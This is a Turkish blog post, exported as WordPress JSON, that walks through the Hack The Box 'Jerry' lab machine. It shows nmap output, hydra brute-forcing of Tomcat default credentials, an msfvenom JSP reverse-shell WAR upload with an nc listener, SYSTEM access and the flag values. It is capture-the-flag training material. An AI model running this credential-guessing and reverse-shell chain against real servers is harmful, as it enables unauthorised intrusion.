{"id":1469,"date":"2021-08-03T12:42:22","date_gmt":"2021-08-03T12:42:22","guid":{"rendered":"http:\/\/144.76.171.171\/blog\/?p=1469"},"modified":"2021-08-03T12:43:33","modified_gmt":"2021-08-03T12:43:33","slug":"jerry","status":"publish","type":"post","link":"https:\/\/berenkudaygorun.com\/blog\/blog\/2021\/08\/03\/jerry\/","title":{"rendered":"Jerry"},"content":{"rendered":"<table>\n<thead>\n<tr>\n<th>Makine Ad\u0131<\/th>\n<th>Seviye<\/th>\n<th>OS<\/th>\n<th>Logo<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td><a href=\"https:\/\/app.hackthebox.eu\/machines\/Bashed\" title=\"Jerry\">Jerry<\/a> - HTB<\/td>\n<td>Kolay<\/td>\n<td>Windows<\/td>\n<td><img decoding=\"async\" src=\"https:\/\/www.hackthebox.eu\/storage\/avatars\/59f03a24178dbb2bdc94968c201e21f8.png\" alt=\"\" \/><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h2>Walkthrough<\/h2>\n<p>nmap taramas\u0131 ile ba\u015flayal\u0131m.<\/p>\n<pre><code class=\"language-sh\">\nPORT     STATE SERVICE VERSION\n8080\/tcp open  http    Apache Tomcat\/Coyote JSP engine 1.1\n|_http-aspnet-debug: ERROR: Script execution failed (use -d to debug)\n|_http-csrf: Couldn&#039;t find any CSRF vulnerabilities.\n|_http-dombased-xss: Couldn&#039;t find any DOM based XSS.\n| http-enum: \n|   \/examples\/: Sample scripts\n|   \/manager\/html\/upload: Apache Tomcat (401 Unauthorized)\n|   \/manager\/html: Apache Tomcat (401 Unauthorized)\n|_  \/docs\/: Potentially interesting folder\n|_http-server-header: Apache-Coyote\/1.1\n|_http-stored-xss: Couldn&#039;t find any stored XSS vulnerabilities.\n|_http-vuln-cve2014-3704: ERROR: Script execution failed (use -d to debug)\n<\/code><\/pre>\n<p>gobuster taramas\u0131nda bir \u015fey \u00e7\u0131kmad\u0131. Daha sonras\u0131nda tomcat i\u00e7in default credential'lar\u0131 denemeye karar verdim. <strong><a href=\"https:\/\/raw.githubusercontent.com\/danielmiessler\/SecLists\/master\/Passwords\/Default-Credentials\/tomcat-betterdefaultpasslist.txt\">https:\/\/raw.githubusercontent.com\/danielmiessler\/SecLists\/master\/Passwords\/Default-Credentials\/tomcat-betterdefaultpasslist.txt<\/a><\/strong> adresinden user ve passwordleri indirdim python ile k\u00fc\u00e7\u00fck bir kod yaz\u0131p bu wordlisti d\u00fczenledim.<\/p>\n<pre><code class=\"language-sh\">\u250c\u2500\u2500(root&#x1f480;kali)-[~\/oscp\/htb\/Jerry]\n\u2514\u2500# cat create.py \ndosya = open(&quot;tomcat-betterdefaultpasslist.txt&quot;)\nwordlist = dosya.read()\nwordlist = wordlist.split(&quot;\\n&quot;)\ndosya.close()\n\nusername = []\npassword = []\n\nfor i in wordlist:\n    try:\n        username.append(i.split(&quot;:&quot;)[0])\n        password.append(i.split(&quot;:&quot;)[1])\n    except:\n        continue\n\ndosya = open(&quot;username&quot;,&quot;a&quot;)\nfor i in username:\n    dosya.write(i+&quot;\\n&quot;)\ndosya.close()\n\ndosya = open(&quot;password&quot;,&quot;a&quot;)\nfor i in password:\n    dosya.write(i+&quot;\\n&quot;)\ndosya.close()<\/code><\/pre>\n<p>\u015eimdi hydra ile deneyelim.<\/p>\n<pre><code class=\"language-sh\">\u250c\u2500\u2500(root&#x1f480;kali)-[~\/oscp\/htb\/Jerry]\n\u2514\u2500# hydra -L username -P password  10.10.10.95 -s 8080 http-get \/host-manager\/html\nHydra v9.1 (c) 2020 by van Hauser\/THC &amp; David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).\n\nHydra (https:\/\/github.com\/vanhauser-thc\/thc-hydra) starting at 2021-08-03 08:27:41\n[DATA] max 16 tasks per 1 server, overall 16 tasks, 6240 login tries (l:80\/p:78), ~390 tries per task\n[DATA] attacking http-get:\/\/10.10.10.95:8080\/host-manager\/html\n[8080][http-get] host: 10.10.10.95   login: admin   password: admin\n[8080][http-get] host: 10.10.10.95   login: admin   password: admin\n[8080][http-get] host: 10.10.10.95   login: admin   password: admin\n[STATUS] 2627.00 tries\/min, 2627 tries in 00:01h, 3613 to do in 00:02h, 16 active\n[STATUS] 2106.00 tries\/min, 4212 tries in 00:02h, 2028 to do in 00:01h, 16 active\n[8080][http-get] host: 10.10.10.95   login: tomcat   password: s3cret\n[8080][http-get] host: 10.10.10.95   login: tomcat   password: s3cret\n1 of 1 target successfully completed, 5 valid passwords found\nHydra (https:\/\/github.com\/vanhauser-thc\/thc-hydra) finished at 2021-08-03 08:30:36\n<\/code><\/pre>\n<p>\u0130ki adet kullan\u0131c\u0131 tespit ettik. <code>admin admin<\/code>'le girdi\u011fimde yetkilerim ks\u0131t\u0131l\u0131yd\u0131 ancak <code>tomcat scret<\/code> ile girdi\u011fimde dosya y\u00fckleyebildim.<\/p>\n<p>Hemen bir war dosyas\u0131 olu\u015ftural\u0131m.<\/p>\n<pre><code class=\"language-sh\">\u250c\u2500\u2500(root&#x1f480;kali)-[~\/oscp\/htb\/Jerry]\n\u2514\u2500# msfvenom -p java\/jsp_shell_reverse_tcp LHOST=10.10.14.15 LPORT=4444 -f war &gt; shell.war\n\nPayload size: 1086 bytes\nFinal size of war file: 1086 bytes<\/code><\/pre>\n<p><strong><a href=\"http:\/\/10.10.10.95:8080\/manager\/html\/list\">http:\/\/10.10.10.95:8080\/manager\/html\/list<\/a><br \/>\n<\/strong> dosyasy\u0131 buradan y\u00fckledim ve daha sornas\u0131nde reverse ald\u0131m. <strong><a href=\"http:\/\/10.10.10.95:8080\/shell\/\">http:\/\/10.10.10.95:8080\/shell\/<\/a><\/strong><\/p>\n<pre><code class=\"language-sh\">\u250c\u2500\u2500(root&#x1f480;kali)-[~\/oscp\/htb\/Jerry]\n\u2514\u2500# nc -lvp 4444  \nlistening on [any] 4444 ...\n10.10.10.95: inverse host lookup failed: Unknown host\nconnect to [10.10.14.15] from (UNKNOWN) [10.10.10.95] 49192\nMicrosoft Windows [Version 6.3.9600]\n(c) 2013 Microsoft Corporation. All rights reserved.\n\nC:\\apache-tomcat-7.0.88&gt;whoami\nwhoami\nnt authority\\system<\/code><\/pre>\n<p>Flagleri okuyal\u0131m.<\/p>\n<pre><code class=\"language-sh\">C:\\Users\\Administrator\\Desktop\\flags&gt;dir\ndir\n Volume in drive C has no label.\n Volume Serial Number is FC2B-E489\n\n Directory of C:\\Users\\Administrator\\Desktop\\flags\n\n06\/19\/2018  07:09 AM    &lt;DIR&gt;          .\n06\/19\/2018  07:09 AM    &lt;DIR&gt;          ..\n06\/19\/2018  07:11 AM                88 2 for the price of 1.txt\n               1 File(s)             88 bytes\n               2 Dir(s)  27,576,569,856 bytes free\n\nC:\\Users\\Administrator\\Desktop\\flags&gt;type &quot;2 for the price of 1.txt&quot;\ntype &quot;2 for the price of 1.txt&quot;\nuser.txt\n7004dbcef0f854e0fb401875f26ebd00\n\nroot.txt\n04a8b36e1545a455393d067e772fe90e<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"<p>Makine Ad\u0131 Seviye OS Logo Jerry &#8211; HTB Kolay Windows Walkthrough nmap taramas\u0131 ile ba\u015flayal\u0131m. PORT STATE SERVICE VERSION 8080\/tcp open http Apache Tomcat\/Coyote JSP&#8230;<\/p>\n<div class=\"more-link-wrapper\"><a class=\"more-link\" href=\"https:\/\/berenkudaygorun.com\/blog\/blog\/2021\/08\/03\/jerry\/\">Devam\u0131n\u0131 oku<span class=\"screen-reader-text\">Jerry<\/span><\/a><\/div>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[596,498,468],"tags":[597,540],"class_list":["post-1469","post","type-post","status-publish","format-standard","hentry","category-tomcat","category-walkthrough","category-windows","tag-basic-authentication","tag-tomcat","entry"],"_links":{"self":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1469","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/comments?post=1469"}],"version-history":[{"count":2,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1469\/revisions"}],"predecessor-version":[{"id":1471,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1469\/revisions\/1471"}],"wp:attachment":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/media?parent=1469"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/categories?post=1469"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/tags?post=1469"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}